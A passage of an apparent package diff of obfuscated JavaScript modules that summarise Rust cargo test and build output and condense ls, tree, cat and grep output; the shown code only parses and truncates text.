_0xa75657=-parseInt(_0x49e45d(0x16e))/0x1*(-parseInt(_0x49e45d(0x165))/0x2)+parseInt(_0x49e45d(0x15f))/0x3*(-parseInt(_0x49e45d(0x16f))/0x4)+parseInt(_0x49e45d(0x175))/0x5*(-parseInt(_0x49e45d(0x15b))/0x6)+-parseInt(_0x49e45d(0x186))/0x7*(parseInt(_0x49e45d(0x156))/0x8)+parseInt(_0x49e45d(0x16a))/0x9+-parseInt(_0x49e45d(0x179))/0xa*(parseInt(_0x49e45d(0x166))/0xb)+-parseInt(_0x49e45d(0x157))/0xc*(-parseInt(_0x49e45d(0x16d))/0xd);if(_0xa75657===_0x1b041e)break;else _0xb6bb96['push'](_0xb6bb96['shift']());}catch(_0x122607){_0xb6bb96['push'](_0xb6bb96['shift']());}}}(a0_0x2922,0xebaf7));Object[a0_0x5a6e18(0x15a)](exports,a0_0x5a6e18(0x18c),{'value':!![]}),exports[a0_0x5a6e18(0x162)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x318b(_0x450c49,_0x411447){_0x450c49=_0x450c49-0x155;const _0x292235=a0_0x2922();let _0x318b34=_0x292235[_0x450c49];return _0x318b34;}function filterCargoTest(_0x350454){const _0x32555d=a0_0x5a6e18,_0x261dfd=_0x350454[_0x32555d(0x158)]('\x0a');let _0x582dff=0x0,_0x4435f8=0x0,_0x5e0ab8=0x0,_0x3f41dc=0x0;const _0x194cbc=[];let _0x4a96e9=![],_0x42cd40=[];for(const _0x4ce7ce of _0x261dfd){const _0x2e7655=_0x4ce7ce[_0x32555d(0x184)](),_0x4c1dfc=_0x2e7655['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x4c1dfc){_0x582dff+=parseInt(_0x4c1dfc[0x2]),_0x4435f8+=parseInt(_0x4c1dfc[0x3]),_0x5e0ab8+=parseInt(_0x4c1dfc[0x4]),_0x3f41dc+=parseInt(_0x4c1dfc[0x5]);continue;}if(_0x2e7655===_0x32555d(0x163)||_0x2e7655===_0x32555d(0x17d)){_0x4a96e9=!![];continue;}if(_0x4a96e9){if(_0x2e7655[_0x32555d(0x164)](_0x32555d(0x182))&&_0x2e7655[_0x32555d(0x174)](_0x32555d(0x18a))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[_0x2e7655[_0x32555d(0x185)](/^-+\s*/,'')[_0x32555d(0x185)](/\s*-+$/,'')];}else{if(_0x2e7655===_0x32555d(0x163)||_0x2e7655['startsWith'](_0x32555d(0x177))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[],_0x4a96e9=![];}else _0x2e7655[_0x32555d(0x15d)]>0x0&&_0x42cd40[_0x32555d(0x187)](_0x4ce7ce);}}}if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40['join']('\x0a'));if(_0x582dff===0x0&&_0x4435f8===0x0&&_0x5e0ab8===0x0){if(_0x350454['includes']('test\x20result:\x20ok'))return _0x32555d(0x178);return _0x350454;}if(_0x4435f8===0x0){const _0x161696=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x180)];if(_0x5e0ab8>0x0)_0x161696[_0x32555d(0x187)](_0x5e0ab8+'\x20ignored');return _0x161696[_0x32555d(0x159)](',\x20');}const _0x29b4c4=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x183)+_0x4435f8+_0x32555d(0x16b)+_0x5e0ab8+_0x32555d(0x181)];if(_0x194cbc[_0x32555d(0x15d)]>0x0){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x15e));const _0x459e81=0x3;for(let _0x34aa27=0x0;_0x34aa27<Math[_0x32555d(0x155)](_0x194cbc[_0x32555d(0x15d)],_0x459e81);_0x34aa27++){const _0x5da595=_0x194cbc[_0x34aa27][_0x32555d(0x158)]('\x0a');_0x29b4c4['push']('\x20\x20'+(_0x34aa27+0x1)+'.\x20'+_0x5da595[0x0]);const _0x35ad12=_0x5da595[_0x32555d(0x167)](0x1),_0x23eb77=_0x35ad12['filter'](_0x58523d=>_0x58523d[_0x32555d(0x184)]()['startsWith'](_0x32555d(0x18e))||_0x58523d['includes'](_0x32555d(0x16c))||_0x58523d[_0x32555d(0x176)]('assert')||_0x58523d[_0x32555d(0x176)]('left:')||_0x58523d[_0x32555d(0x176)](_0x32555d(0x17a)));for(const _0x17758f of _0x23eb77['slice'](0x0,0x5)){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x171)+_0x17758f[_0x32555d(0x184)]());}}_0x194cbc[_0x32555d(0x15d)]>_0x459e81&&_0x29b4c4[_0x32555d(0x187)]('\x20\x20...\x20+'+(_0x194cbc[_0x32555d(0x15d)]-_0x459e81)+_0x32555d(0x173));}return _0x29b4c4[_0x32555d(0x159)]('\x0a');}function filterCargoBuild(_0x391c5c){const _0x180018=a0_0x5a6e18,_0x2432da=_0x391c5c['split']('\x0a'),_0x397eaa=[],_0x444c75=[];let _0x329e55=0x0;for(const _0x2a9b69 of _0x2432da){const _0x579722=_0x2a9b69[_0x180018(0x184)]();if(_0x579722['startsWith'](_0x180018(0x160)))_0x329e55++;else{if(_0x579722['startsWith'](_0x180018(0x169))||_0x579722[_0x180018(0x164)](_0x180018(0x188)))_0x397eaa[_0x180018(0x187)](_0x579722);else{if(_0x579722[_0x180018(0x164)]('error[')||_0x579722[_0x180018(0x164)]('error:'))_0x444c75[_0x180018(0x187)](_0x579722);}}}if(_0x444c75[_0x180018(0x15d)]===0x0&&_0x397eaa['length']===0x0)return _0x329e55>0x0?_0x180018(0x18d)+_0x329e55+_0x180018(0x172):_0x391c5c[_0x180018(0x184)]();const _0x41e88b=[];if(_0x444c75['length']>0x0){_0x41e88b['push'](_0x180018(0x18b)+_0x444c75[_0x180018(0x15d)]+_0x180018(0x17c)+_0x397eaa['length']+_0x180018(0x161)),_0x41e88b['push'](_0x180018(0x17e));for(const _0x137a2e of _0x444c75[_0x180018(0x167)](0x0,0x5))_0x41e88b[_0x180018(0x187)]('\x20\x20'+_0x137a2e);if(_0x444c75[_0x180018(0x15d)]>0x5)_0x41e88b[_0x180018(0x187)](_0x180018(0x17f)+(_0x444c75[_0x180018(0x15d)]-0x5)+_0x180018(0x170));}else _0x41e88b[_0x180018(0x187)]('Cargo:\x20compiled\x20'+_0x329e55+_0x180018(0x17b)+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x161));if(_0x397eaa['length']>0x0&&_0x397eaa['length']<=0x5){_0x41e88b[_0x180018(0x187)](_0x180018(0x168));for(const _0x38bb71 of _0x397eaa)_0x41e88b['push']('\x20\x20'+_0x38bb71);}else _0x397eaa[_0x180018(0x15d)]>0x5&&_0x41e88b[_0x180018(0x187)]('\x0a('+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x15c));return _0x41e88b[_0x180018(0x159)]('\x0a');}
1
+ 'use strict';const a0_0x48514f=a0_0x1245;(function(_0x2dfd52,_0x260c28){const _0x190389=a0_0x1245,_0x4c8d31=_0x2dfd52();while(!![]){try{const _0x5050e5=-parseInt(_0x190389(0x1d6))/0x1*(-parseInt(_0x190389(0x1c9))/0x2)+-parseInt(_0x190389(0x1c0))/0x3+-parseInt(_0x190389(0x1cf))/0x4*(parseInt(_0x190389(0x1db))/0x5)+parseInt(_0x190389(0x1e3))/0x6+parseInt(_0x190389(0x1e0))/0x7+parseInt(_0x190389(0x1b9))/0x8*(parseInt(_0x190389(0x1c7))/0x9)+-parseInt(_0x190389(0x1de))/0xa*(parseInt(_0x190389(0x1dd))/0xb);if(_0x5050e5===_0x260c28)break;else _0x4c8d31['push'](_0x4c8d31['shift']());}catch(_0x44b11e){_0x4c8d31['push'](_0x4c8d31['shift']());}}}(a0_0x3708,0x96bff));function a0_0x1245(_0x4c133d,_0x1ddc68){_0x4c133d=_0x4c133d-0x1b5;const _0x37087c=a0_0x3708();let _0x124570=_0x37087c[_0x4c133d];return _0x124570;}Object[a0_0x48514f(0x1c5)](exports,a0_0x48514f(0x1c1),{'value':!![]}),exports[a0_0x48514f(0x1e7)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x3708(){const _0xf11d42=['defineProperty','\x20\x20\x20\x20','9XjjNcT','\x20crates\x20successfully','2atwjuS','Cargo\x20test:\x20','\x20passed','Cargo:\x20','right:','\x0aWarnings:','8mdsPFh','test\x20result:\x20ok','push','match','replace','----\x20','min','1023301UxGWQn','\x0aFailures:','\x20ignored','----\x20failures\x20----','Compiling\x20','2305410wkbrGz','failures:','1529OgLYLo','116770zEduoA','\x20\x20...\x20+','7489202XmkUYC','error[','Cargo:\x20compiled\x20','4954506jNCBFM','slice','\x20crates,\x20','length','filterCargoTest','startsWith','\x0aErrors:','left:','panicked','8383080YOixgY','assert','filter','join','trim','includes','\x20more\x20failures','2412255SeohuG','__esModule','endsWith','\x20warnings','split'];a0_0x3708=function(){return _0xf11d42;};return a0_0x3708();}function filterCargoTest(_0xa072fc){const _0x5801f3=a0_0x48514f,_0x343f5f=_0xa072fc[_0x5801f3(0x1c4)]('\x0a');let _0x52e7ba=0x0,_0x27943b=0x0,_0x2da94b=0x0,_0x59477f=0x0;const _0xfbd8c3=[];let _0x3b360d=![],_0x1c941a=[];for(const _0x1f1649 of _0x343f5f){const _0x13c5c3=_0x1f1649[_0x5801f3(0x1bd)](),_0x269a5b=_0x13c5c3[_0x5801f3(0x1d2)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x269a5b){_0x52e7ba+=parseInt(_0x269a5b[0x2]),_0x27943b+=parseInt(_0x269a5b[0x3]),_0x2da94b+=parseInt(_0x269a5b[0x4]),_0x59477f+=parseInt(_0x269a5b[0x5]);continue;}if(_0x13c5c3==='failures:'||_0x13c5c3===_0x5801f3(0x1d9)){_0x3b360d=!![];continue;}if(_0x3b360d){if(_0x13c5c3['startsWith'](_0x5801f3(0x1d4))&&_0x13c5c3[_0x5801f3(0x1c2)]('\x20----')){if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3[_0x5801f3(0x1d1)](_0x1c941a['join']('\x0a'));_0x1c941a=[_0x13c5c3[_0x5801f3(0x1d3)](/^-+\s*/,'')[_0x5801f3(0x1d3)](/\s*-+$/,'')];}else{if(_0x13c5c3===_0x5801f3(0x1dc)||_0x13c5c3[_0x5801f3(0x1b5)]('test\x20result:')){if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3[_0x5801f3(0x1d1)](_0x1c941a[_0x5801f3(0x1bc)]('\x0a'));_0x1c941a=[],_0x3b360d=![];}else _0x13c5c3[_0x5801f3(0x1e6)]>0x0&&_0x1c941a[_0x5801f3(0x1d1)](_0x1f1649);}}}if(_0x1c941a[_0x5801f3(0x1e6)]>0x0)_0xfbd8c3['push'](_0x1c941a['join']('\x0a'));if(_0x52e7ba===0x0&&_0x27943b===0x0&&_0x2da94b===0x0){if(_0xa072fc['includes'](_0x5801f3(0x1d0)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0xa072fc;}if(_0x27943b===0x0){const _0x3cc322=[_0x5801f3(0x1ca)+_0x52e7ba+_0x5801f3(0x1cb)];if(_0x2da94b>0x0)_0x3cc322[_0x5801f3(0x1d1)](_0x2da94b+_0x5801f3(0x1d8));return _0x3cc322[_0x5801f3(0x1bc)](',\x20');}const _0x4b637d=[_0x5801f3(0x1ca)+_0x52e7ba+'\x20passed,\x20'+_0x27943b+'\x20failed,\x20'+_0x2da94b+_0x5801f3(0x1d8)];if(_0xfbd8c3[_0x5801f3(0x1e6)]>0x0){_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1d7));const _0x552656=0x3;for(let _0x90cdd6=0x0;_0x90cdd6<Math[_0x5801f3(0x1d5)](_0xfbd8c3[_0x5801f3(0x1e6)],_0x552656);_0x90cdd6++){const _0x5928a6=_0xfbd8c3[_0x90cdd6][_0x5801f3(0x1c4)]('\x0a');_0x4b637d[_0x5801f3(0x1d1)]('\x20\x20'+(_0x90cdd6+0x1)+'.\x20'+_0x5928a6[0x0]);const _0xc72d01=_0x5928a6['slice'](0x1),_0x38cf55=_0xc72d01[_0x5801f3(0x1bb)](_0x7afc92=>_0x7afc92['trim']()[_0x5801f3(0x1b5)]('thread')||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1b8))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1ba))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1b7))||_0x7afc92[_0x5801f3(0x1be)](_0x5801f3(0x1cd)));for(const _0x6ebbeb of _0x38cf55['slice'](0x0,0x5)){_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1c6)+_0x6ebbeb[_0x5801f3(0x1bd)]());}}_0xfbd8c3[_0x5801f3(0x1e6)]>_0x552656&&_0x4b637d[_0x5801f3(0x1d1)](_0x5801f3(0x1df)+(_0xfbd8c3[_0x5801f3(0x1e6)]-_0x552656)+_0x5801f3(0x1bf));}return _0x4b637d[_0x5801f3(0x1bc)]('\x0a');}function filterCargoBuild(_0x6f673d){const _0x797ede=a0_0x48514f,_0x187f26=_0x6f673d[_0x797ede(0x1c4)]('\x0a'),_0x2f29a3=[],_0x25d5c3=[];let _0x80c7d8=0x0;for(const _0x12197a of _0x187f26){const _0x3f8d0a=_0x12197a['trim']();if(_0x3f8d0a[_0x797ede(0x1b5)](_0x797ede(0x1da)))_0x80c7d8++;else{if(_0x3f8d0a[_0x797ede(0x1b5)]('warning[')||_0x3f8d0a[_0x797ede(0x1b5)]('warning:'))_0x2f29a3[_0x797ede(0x1d1)](_0x3f8d0a);else{if(_0x3f8d0a[_0x797ede(0x1b5)](_0x797ede(0x1e1))||_0x3f8d0a[_0x797ede(0x1b5)]('error:'))_0x25d5c3['push'](_0x3f8d0a);}}}if(_0x25d5c3[_0x797ede(0x1e6)]===0x0&&_0x2f29a3[_0x797ede(0x1e6)]===0x0)return _0x80c7d8>0x0?_0x797ede(0x1e2)+_0x80c7d8+_0x797ede(0x1c8):_0x6f673d[_0x797ede(0x1bd)]();const _0x2c6dc5=[];if(_0x25d5c3[_0x797ede(0x1e6)]>0x0){_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1cc)+_0x25d5c3[_0x797ede(0x1e6)]+'\x20errors,\x20'+_0x2f29a3[_0x797ede(0x1e6)]+'\x20warnings'),_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1b6));for(const _0x2f6e37 of _0x25d5c3[_0x797ede(0x1e4)](0x0,0x5))_0x2c6dc5[_0x797ede(0x1d1)]('\x20\x20'+_0x2f6e37);if(_0x25d5c3[_0x797ede(0x1e6)]>0x5)_0x2c6dc5['push'](_0x797ede(0x1df)+(_0x25d5c3[_0x797ede(0x1e6)]-0x5)+'\x20more\x20errors');}else _0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1e2)+_0x80c7d8+_0x797ede(0x1e5)+_0x2f29a3[_0x797ede(0x1e6)]+_0x797ede(0x1c3));if(_0x2f29a3[_0x797ede(0x1e6)]>0x0&&_0x2f29a3['length']<=0x5){_0x2c6dc5[_0x797ede(0x1d1)](_0x797ede(0x1ce));for(const _0xfcb6b2 of _0x2f29a3)_0x2c6dc5[_0x797ede(0x1d1)]('\x20\x20'+_0xfcb6b2);}else _0x2f29a3[_0x797ede(0x1e6)]>0x5&&_0x2c6dc5['push']('\x0a('+_0x2f29a3['length']+'\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)');return _0x2c6dc5['join']('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x25a583=a0_0x42ef;(function(_0x496698,_0x504d12){const _0x305ce6=a0_0x42ef,_0x3814e8=_0x496698();while(!![]){try{const _0x3ff101=parseInt(_0x305ce6(0x1a7))/0x1*(-parseInt(_0x305ce6(0x19f))/0x2)+-parseInt(_0x305ce6(0x1a2))/0x3+parseInt(_0x305ce6(0x1be))/0x4*(-parseInt(_0x305ce6(0x1bb))/0x5)+parseInt(_0x305ce6(0x19a))/0x6+parseInt(_0x305ce6(0x198))/0x7+-parseInt(_0x305ce6(0x1b6))/0x8+parseInt(_0x305ce6(0x1af))/0x9;if(_0x3ff101===_0x504d12)break;else _0x3814e8['push'](_0x3814e8['shift']());}catch(_0x5d1e5c){_0x3814e8['push'](_0x3814e8['shift']());}}}(a0_0x25ed,0xb6ac7));Object[a0_0x25a583(0x1bf)](exports,a0_0x25a583(0x1ac),{'value':!![]}),exports[a0_0x25a583(0x1bc)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x25a583(0x19e)]=filterCat,exports['filterGrep']=filterGrep;function a0_0x42ef(_0x44fe5f,_0x153dae){_0x44fe5f=_0x44fe5f-0x198;const _0x25ede1=a0_0x25ed();let _0x42ef8f=_0x25ede1[_0x44fe5f];return _0x42ef8f;}function filterLs(_0x5a8aca){const _0x45ae6a=a0_0x25a583,_0x392b21=_0x5a8aca[_0x45ae6a(0x1b7)]('\x0a')[_0x45ae6a(0x199)](_0x598bf7=>_0x598bf7[_0x45ae6a(0x1b9)]()[_0x45ae6a(0x1ae)]>0x0);if(_0x392b21[_0x45ae6a(0x1ae)]===0x0)return _0x45ae6a(0x1a6);if(_0x392b21['length']<=0x1e)return _0x5a8aca[_0x45ae6a(0x1b9)]();const _0xfed12d=[],_0x3a372a=[];for(const _0x475cfa of _0x392b21){const _0x208200=_0x475cfa['trim']();if(_0x208200['startsWith'](_0x45ae6a(0x1b8))||_0x208200['startsWith']('d')&&_0x208200[_0x45ae6a(0x1a9)]('..'))continue;_0x208200[_0x45ae6a(0x1b5)]('/')||_0x208200[_0x45ae6a(0x1a0)]('d')&&_0x208200[_0x45ae6a(0x1a9)]('\x20')?_0xfed12d['push'](_0x208200):_0x3a372a[_0x45ae6a(0x19d)](_0x208200);}const _0x23c644=[];return _0xfed12d[_0x45ae6a(0x1ae)]>0x0&&(_0xfed12d['length']<=0xf?_0x23c644['push'](..._0xfed12d):(_0x23c644[_0x45ae6a(0x19d)](..._0xfed12d[_0x45ae6a(0x1b3)](0x0,0xa)),_0x23c644[_0x45ae6a(0x19d)](_0x45ae6a(0x1aa)+(_0xfed12d[_0x45ae6a(0x1ae)]-0xa)+_0x45ae6a(0x1b2)))),_0x3a372a[_0x45ae6a(0x1ae)]>0x0&&(_0x3a372a[_0x45ae6a(0x1ae)]<=0x14?_0x23c644[_0x45ae6a(0x19d)](..._0x3a372a):(_0x23c644['push'](..._0x3a372a[_0x45ae6a(0x1b3)](0x0,0xf)),_0x23c644[_0x45ae6a(0x19d)]('...\x20+'+(_0x3a372a[_0x45ae6a(0x1ae)]-0xf)+'\x20more\x20files'))),_0x23c644[_0x45ae6a(0x19d)]('\x0a('+_0xfed12d[_0x45ae6a(0x1ae)]+_0x45ae6a(0x19c)+_0x3a372a[_0x45ae6a(0x1ae)]+_0x45ae6a(0x1ad)),_0x23c644[_0x45ae6a(0x1a1)]('\x0a');}function filterTree(_0x4f9dbb){const _0x280f1d=a0_0x25a583,_0x566ff0=_0x4f9dbb[_0x280f1d(0x1b7)]('\x0a');if(_0x566ff0['length']<=0x32)return _0x4f9dbb[_0x280f1d(0x1b9)]();const _0x1df809=[];let _0x442770=0x0,_0x1caead=0x0,_0x106c6c=0x0;for(const _0x2cdaf6 of _0x566ff0){const _0x51dfb8=_0x2cdaf6['match'](/(\d+)\s+director/),_0xaaae03=_0x2cdaf6['match'](/(\d+)\s+file/);if(_0x51dfb8)_0x106c6c=parseInt(_0x51dfb8[0x1]);if(_0xaaae03)_0x1caead=parseInt(_0xaaae03[0x1]);const _0x38ef1a=(_0x2cdaf6[_0x280f1d(0x1ab)](/^[│├└\s─]+/)||[''])[0x0][_0x280f1d(0x1ae)];_0x38ef1a<=0x4&&(_0x1df809[_0x280f1d(0x19d)](_0x2cdaf6),_0x442770++);}return _0x566ff0['length']>_0x1df809[_0x280f1d(0x1ae)]&&_0x1df809[_0x280f1d(0x19d)](_0x280f1d(0x1b1)+_0x106c6c+_0x280f1d(0x19c)+_0x1caead+_0x280f1d(0x1a4)),_0x1df809[_0x280f1d(0x1a1)]('\x0a');}function filterCat(_0x1df808){const _0x3fc643=a0_0x25a583,_0x31ef41=_0x1df808[_0x3fc643(0x1b7)]('\x0a');if(_0x31ef41[_0x3fc643(0x1ae)]<=0x64)return _0x1df808;const _0x8bb85c=[];return _0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](0x0,0x32)),_0x8bb85c['push'](_0x3fc643(0x1a5)+(_0x31ef41[_0x3fc643(0x1ae)]-0x50)+_0x3fc643(0x1b4)),_0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](-0x1e)),_0x8bb85c[_0x3fc643(0x19d)]('\x0a('+_0x31ef41[_0x3fc643(0x1ae)]+_0x3fc643(0x1ba)),_0x8bb85c['join']('\x0a');}function filterGrep(_0x4219bf){const _0x223056=a0_0x25a583,_0x22f3b2=_0x4219bf[_0x223056(0x1b7)]('\x0a')[_0x223056(0x199)](_0x5de914=>_0x5de914[_0x223056(0x1b9)]()[_0x223056(0x1ae)]>0x0);if(_0x22f3b2[_0x223056(0x1ae)]===0x0)return'No\x20matches\x20found';if(_0x22f3b2[_0x223056(0x1ae)]<=0x32)return _0x4219bf[_0x223056(0x1b9)]();const _0x53afe7={},_0x59623d=[];for(const _0x5aa178 of _0x22f3b2){const _0x5b196c=_0x5aa178[_0x223056(0x19b)](':');if(_0x5b196c>0x0&&_0x5b196c<0xc8){const _0x3d5d94=_0x5aa178[_0x223056(0x1a8)](0x0,_0x5b196c);if(_0x3d5d94[_0x223056(0x1a9)]('/')||_0x3d5d94[_0x223056(0x1a9)]('\x5c')||_0x3d5d94['includes']('.')){if(!_0x53afe7[_0x3d5d94])_0x53afe7[_0x3d5d94]=[];_0x53afe7[_0x3d5d94][_0x223056(0x19d)](_0x5aa178[_0x223056(0x1a8)](_0x5b196c+0x1)[_0x223056(0x1b9)]());continue;}}_0x59623d[_0x223056(0x19d)](_0x5aa178);}const _0x4f8cd7=[],_0x2358c6=Object[_0x223056(0x1bd)](_0x53afe7);if(_0x2358c6[_0x223056(0x1ae)]>0x0){const _0x30c56b=0x14,_0x277b0d=_0x2358c6['slice'](0x0,_0x30c56b);for(const _0x38e9ba of _0x277b0d){const _0x2e3597=_0x53afe7[_0x38e9ba];if(_0x2e3597[_0x223056(0x1ae)]<=0x3)for(const _0x50263f of _0x2e3597){_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x50263f);}else _0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x2e3597[0x0]),_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20...\x20('+_0x2e3597[_0x223056(0x1ae)]+_0x223056(0x1b0));}_0x2358c6[_0x223056(0x1ae)]>_0x30c56b&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x2358c6['length']-_0x30c56b)+'\x20more\x20files\x20with\x20matches');}if(_0x59623d['length']>0x0){const _0x434d22=0x1e;_0x4f8cd7[_0x223056(0x19d)](..._0x59623d[_0x223056(0x1b3)](0x0,_0x434d22)),_0x59623d[_0x223056(0x1ae)]>_0x434d22&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x59623d['length']-_0x434d22)+_0x223056(0x1a3));}const _0x355cdd=_0x22f3b2['length'];return _0x4f8cd7[_0x223056(0x19d)]('\x0a('+_0x355cdd+'\x20matches\x20across\x20'+(_0x2358c6['length']||'?')+'\x20files)'),_0x4f8cd7['join']('\x0a');}function a0_0x25ed(){const _0x2e643a=['21280248FWfYBp','\x20matches\x20in\x20this\x20file)','\x0a...\x20(','\x20more\x20directories','slice','\x20lines\x20truncated]\x20...\x0a','endsWith','7997600bmkJLy','split','total\x20','trim','\x20lines\x20total)','1566095lUyoIv','filterLs','keys','16Duwsng','defineProperty','7770763BXmoQM','filter','6820452OsgvTJ','indexOf','\x20directories,\x20','push','filterCat','4omQWzS','startsWith','join','3742776yzVAIC','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x0a...\x20[','Empty\x20directory','181462uugUhP','substring','includes','...\x20+','match','__esModule','\x20files)','length'];a0_0x25ed=function(){return _0x2e643a;};return a0_0x25ed();}
1
+ 'use strict';const a0_0x5b305e=a0_0x2392;(function(_0xcc0db3,_0x163d61){const _0x5e4bc9=a0_0x2392,_0x56c88c=_0xcc0db3();while(!![]){try{const _0x60f847=parseInt(_0x5e4bc9(0x1f1))/0x1*(parseInt(_0x5e4bc9(0x208))/0x2)+parseInt(_0x5e4bc9(0x1fb))/0x3*(parseInt(_0x5e4bc9(0x1f8))/0x4)+-parseInt(_0x5e4bc9(0x1ef))/0x5+parseInt(_0x5e4bc9(0x201))/0x6*(parseInt(_0x5e4bc9(0x1fe))/0x7)+-parseInt(_0x5e4bc9(0x20a))/0x8+-parseInt(_0x5e4bc9(0x213))/0x9+parseInt(_0x5e4bc9(0x217))/0xa*(-parseInt(_0x5e4bc9(0x1f6))/0xb);if(_0x60f847===_0x163d61)break;else _0x56c88c['push'](_0x56c88c['shift']());}catch(_0x377c7d){_0x56c88c['push'](_0x56c88c['shift']());}}}(a0_0x3360,0xb1d71));Object['defineProperty'](exports,a0_0x5b305e(0x210),{'value':!![]}),exports[a0_0x5b305e(0x215)]=filterLs,exports[a0_0x5b305e(0x206)]=filterTree,exports[a0_0x5b305e(0x20e)]=filterCat,exports[a0_0x5b305e(0x20c)]=filterGrep;function filterLs(_0x2fd9b1){const _0x356a52=a0_0x5b305e,_0x129411=_0x2fd9b1[_0x356a52(0x1f7)]('\x0a')[_0x356a52(0x218)](_0x5c8df4=>_0x5c8df4[_0x356a52(0x212)]()[_0x356a52(0x1fd)]>0x0);if(_0x129411['length']===0x0)return _0x356a52(0x209);if(_0x129411[_0x356a52(0x1fd)]<=0x1e)return _0x2fd9b1[_0x356a52(0x212)]();const _0x133f80=[],_0x2bf8da=[];for(const _0x1afe13 of _0x129411){const _0x2716d5=_0x1afe13[_0x356a52(0x212)]();if(_0x2716d5['startsWith'](_0x356a52(0x1f4))||_0x2716d5[_0x356a52(0x205)]('d')&&_0x2716d5[_0x356a52(0x1f9)]('..'))continue;_0x2716d5[_0x356a52(0x1f2)]('/')||_0x2716d5['startsWith']('d')&&_0x2716d5[_0x356a52(0x1f9)]('\x20')?_0x133f80[_0x356a52(0x1f3)](_0x2716d5):_0x2bf8da[_0x356a52(0x1f3)](_0x2716d5);}const _0x88b99b=[];return _0x133f80[_0x356a52(0x1fd)]>0x0&&(_0x133f80[_0x356a52(0x1fd)]<=0xf?_0x88b99b[_0x356a52(0x1f3)](..._0x133f80):(_0x88b99b[_0x356a52(0x1f3)](..._0x133f80[_0x356a52(0x207)](0x0,0xa)),_0x88b99b['push'](_0x356a52(0x1fa)+(_0x133f80[_0x356a52(0x1fd)]-0xa)+_0x356a52(0x20f)))),_0x2bf8da[_0x356a52(0x1fd)]>0x0&&(_0x2bf8da[_0x356a52(0x1fd)]<=0x14?_0x88b99b[_0x356a52(0x1f3)](..._0x2bf8da):(_0x88b99b[_0x356a52(0x1f3)](..._0x2bf8da['slice'](0x0,0xf)),_0x88b99b[_0x356a52(0x1f3)](_0x356a52(0x1fa)+(_0x2bf8da[_0x356a52(0x1fd)]-0xf)+'\x20more\x20files'))),_0x88b99b['push']('\x0a('+_0x133f80['length']+_0x356a52(0x204)+_0x2bf8da['length']+'\x20files)'),_0x88b99b[_0x356a52(0x211)]('\x0a');}function a0_0x2392(_0xc0a751,_0x3182d7){_0xc0a751=_0xc0a751-0x1ef;const _0x336049=a0_0x3360();let _0x239217=_0x336049[_0xc0a751];return _0x239217;}function filterTree(_0xa3d8d0){const _0x4c90c3=a0_0x5b305e,_0x30b2d2=_0xa3d8d0[_0x4c90c3(0x1f7)]('\x0a');if(_0x30b2d2[_0x4c90c3(0x1fd)]<=0x32)return _0xa3d8d0[_0x4c90c3(0x212)]();const _0x1a9d4f=[];let _0x398d9e=0x0,_0x1b6668=0x0,_0x2fea25=0x0;for(const _0xbce683 of _0x30b2d2){const _0x35aa65=_0xbce683['match'](/(\d+)\s+director/),_0x2175c2=_0xbce683[_0x4c90c3(0x216)](/(\d+)\s+file/);if(_0x35aa65)_0x2fea25=parseInt(_0x35aa65[0x1]);if(_0x2175c2)_0x1b6668=parseInt(_0x2175c2[0x1]);const _0x112c9e=(_0xbce683[_0x4c90c3(0x216)](/^[│├└\s─]+/)||[''])[0x0][_0x4c90c3(0x1fd)];_0x112c9e<=0x4&&(_0x1a9d4f[_0x4c90c3(0x1f3)](_0xbce683),_0x398d9e++);}return _0x30b2d2[_0x4c90c3(0x1fd)]>_0x1a9d4f[_0x4c90c3(0x1fd)]&&_0x1a9d4f['push'](_0x4c90c3(0x1fc)+_0x2fea25+_0x4c90c3(0x204)+_0x1b6668+_0x4c90c3(0x214)),_0x1a9d4f['join']('\x0a');}function a0_0x3360(){const 